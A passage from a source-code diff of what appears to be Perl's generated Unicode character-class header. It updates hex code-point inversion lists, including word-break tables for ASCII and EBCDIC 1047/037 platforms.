-	0x1939,
-	0x1950,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
 	0x1A00,
-	0x1A1C,
-	0x1A20,
-	0x1A5F,
-	0x1A61,
-	0x1A75,
-	0x1AA7,
-	0x1AA8,
-	0x1B00,
+	0x1A17,
+	0x1B05,
 	0x1B34,
-	0x1B35,
-	0x1B44,
 	0x1B45,
 	0x1B4C,
-	0x1B80,
-	0x1BAA,
-	0x1BAC,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
 	0x1BB0,
 	0x1BBA,
 	0x1BE6,
-	0x1BE7,
-	0x1BF2,
 	0x1C00,
-	0x1C36,
+	0x1C24,
 	0x1C4D,
 	0x1C50,
 	0x1C5A,
@@ -87397,13 +353730,11 @@
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
-	0x1CF4,
+	0x1CF2,
 	0x1CF5,
 	0x1CF7,
 	0x1D00,
 	0x1DC0,
-	0x1DE7,
-	0x1DF5,
 	0x1E00,
 	0x1F16,
 	0x1F18,
@@ -87516,38 +353847,18 @@
 	0x2DD7,
 	0x2DD8,
 	0x2DDF,
-	0x2DE0,
-	0x2E00,
 	0x2E2F,
 	0x2E30,
 	0x3005,
-	0x3008,
-	0x3021,
-	0x302A,
-	0x3031,
-	0x3036,
-	0x3038,
+	0x3006,
+	0x303B,
 	0x303D,
-	0x3041,
-	0x3097,
-	0x309D,
-	0x30A0,
-	0x30A1,
-	0x30FB,
-	0x30FC,
-	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
 	0x31BB,
-	0x31F0,
-	0x3200,
-	0x3400,
-	0x4DB6,
-	0x4E00,
-	0x9FD6,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -87560,15 +353871,11 @@
 	0xA62C,
 	0xA640,
 	0xA66F,
-	0xA674,
-	0xA67C,
 	0xA67F,
+	0xA69E,
+	0xA6A0,
 	0xA6F0,
 	0xA717,
-	0xA720,
-	0xA722,
-	0xA789,
-	0xA78B,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
@@ -87579,13 +353886,11 @@
 	0xA807,
 	0xA80B,
 	0xA80C,
-	0xA828,
+	0xA823,
 	0xA840,
 	0xA874,
-	0xA880,
-	0xA8C4,
-	0xA8C5,
-	0xA8C6,
+	0xA882,
+	0xA8B4,
 	0xA8F2,
 	0xA8F8,
 	0xA8FB,
@@ -87593,43 +353898,25 @@
 	0xA8FD,
 	0xA8FE,
 	0xA90A,
-	0xA92B,
+	0xA926,
 	0xA930,
-	0xA953,
+	0xA947,
 	0xA960,
 	0xA97D,
-	0xA980,
+	0xA984,
 	0xA9B3,
-	0xA9B4,
-	0xA9C0,
 	0xA9CF,
 	0xA9D0,
-	0xA9E0,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
-	0xA9FF,
 	0xAA00,
-	0xAA37,
+	0xAA29,
 	0xAA40,
-	0xAA4E,
-	0xAA60,
-	0xAA77,
-	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAABF,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
-	0xAAC3,
-	0xAADB,
-	0xAADE,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
 	0xAAE0,
-	0xAAF0,
+	0xAAEB,
 	0xAAF2,
-	0xAAF6,
+	0xAAF5,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -87641,11 +353928,9 @@
 	0xAB28,
 	0xAB2F,
 	0xAB30,
-	0xAB5B,
-	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABEB,
+	0xABE3,
 	0xAC00,
 	0xD7A4,
 	0xD7B0,
@@ -87652,27 +353937,11 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xF900,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
-	0xFB1D,
-	0xFB29,
-	0xFB2A,
-	0xFB37,
-	0xFB38,
-	0xFB3D,
-	0xFB3E,
-	0xFB3F,
-	0xFB40,
-	0xFB42,
-	0xFB43,
-	0xFB45,
-	0xFB46,
+	0xFB50,
 	0xFBB2,
 	0xFBD3,
 	0xFD3E,
@@ -87690,7 +353959,7 @@
 	0xFF3B,
 	0xFF41,
 	0xFF5B,
-	0xFF66,
+	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -87722,10 +353991,10 @@
 	0x102D1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x1037B,
+	0x10376,
 	0x10380,
 	0x1039E,
 	0x103A0,
@@ -87779,10 +354048,8 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
+	0x10A01,
+	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -87810,20 +354077,20 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x11000,
-	0x11046,
-	0x11082,
-	0x110B9,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
 	0x110D0,
 	0x110E9,
-	0x11100,
-	0x11133,
+	0x11103,
+	0x11127,
 	0x11150,
 	0x11173,
 	0x11176,
 	0x11177,
-	0x11180,
-	0x111C0,
+	0x11183,
+	0x111B3,
 	0x111C1,
 	0x111C5,
 	0x111DA,
@@ -87833,11 +354100,7 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x11235,
-	0x11237,
-	0x11238,
-	0x1123E,
-	0x1123F,
+	0x1122C,
 	0x11280,
 	0x11287,
 	0x11288,
@@ -87849,9 +354112,7 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112E9,
-	0x11300,
-	0x11304,
+	0x112DF,
 	0x11305,
 	0x1130D,
 	0x1130F,
@@ -87865,67 +354126,65 @@
 	0x11335,
 	0x1133A,
 	0x1133D,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134D,
+	0x1133E,
 	0x11350,
 	0x11351,
-	0x11357,
-	0x11358,
 	0x1135D,
-	0x11364,
+	0x11362,
 	0x11400,
-	0x11442,
-	0x11443,
-	0x11446,
+	0x11435,
 	0x11447,
 	0x1144B,
 	0x11480,
-	0x114C2,
+	0x114B0,
 	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
 	0x11580,
-	0x115B6,
-	0x115B8,
-	0x115BF,
+	0x115AF,
 	0x115D8,
-	0x115DE,
+	0x115DC,
 	0x11600,
-	0x1163F,
-	0x11640,
-	0x11641,
+	0x11630,
 	0x11644,
 	0x11645,
 	0x11680,
-	0x116B6,
-	0x11700,
-	0x1171A,
-	0x1171D,
-	0x1172B,
+	0x116AB,
 	0x118A0,
 	0x118E0,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C37,
-	0x11C38,
-	0x11C3F,
+	0x11C2F,
 	0x11C40,
 	0x11C41,
 	0x11C72,
 	0x11C90,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -87943,7 +354202,7 @@
 	0x16AD0,
 	0x16AEE,
 	0x16B00,
-	0x16B37,
+	0x16B30,
 	0x16B40,
 	0x16B44,
 	0x16B63,
@@ -87953,17 +354212,11 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F7F,
+	0x16F51,
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
-	0x17000,
-	0x187ED,
-	0x18800,
-	0x18AF3,
-	0x1B000,
-	0x1B002,
+	0x16FE2,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -87972,8 +354225,6 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9E,
-	0x1BC9F,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -88034,22 +354285,10 @@
 	0x1D7C3,
 	0x1D7C4,
 	0x1D7CC,
-	0x1E000,
-	0x1E007,
-	0x1E008,
-	0x1E019,
-	0x1E01B,
-	0x1E022,
-	0x1E023,
-	0x1E025,
-	0x1E026,
-	0x1E02B,
 	0x1E800,
 	0x1E8C5,
 	0x1E900,
 	0x1E944,
-	0x1E947,
-	0x1E948,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -88121,62 +354360,2610 @@
 	0x1F150,
 	0x1F16A,
 	0x1F170,
-	0x1F18A,
-	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E
+	0x1F18A
 };
 
-static const UV XPosixBlank_invlist[] = { /* for EBCDIC 037 */
-	15,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */
+	1041,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0x40,
 	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x300,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5F3,
+	0x5F4,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
 	0x1680,
 	0x1681,
-	0x2000,
-	0x200B,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1A00,
+	0x1A17,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x303B,
+	0x303D,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB50,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
 };
 
-static const UV XPosixCntrl_invlist[] = { /* for EBCDIC 037 */
-	4,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */
+	1037,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x40,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
 	0xFF,
-	0x100
+	0x100,
+	0x2D8,
+	0x2DE,
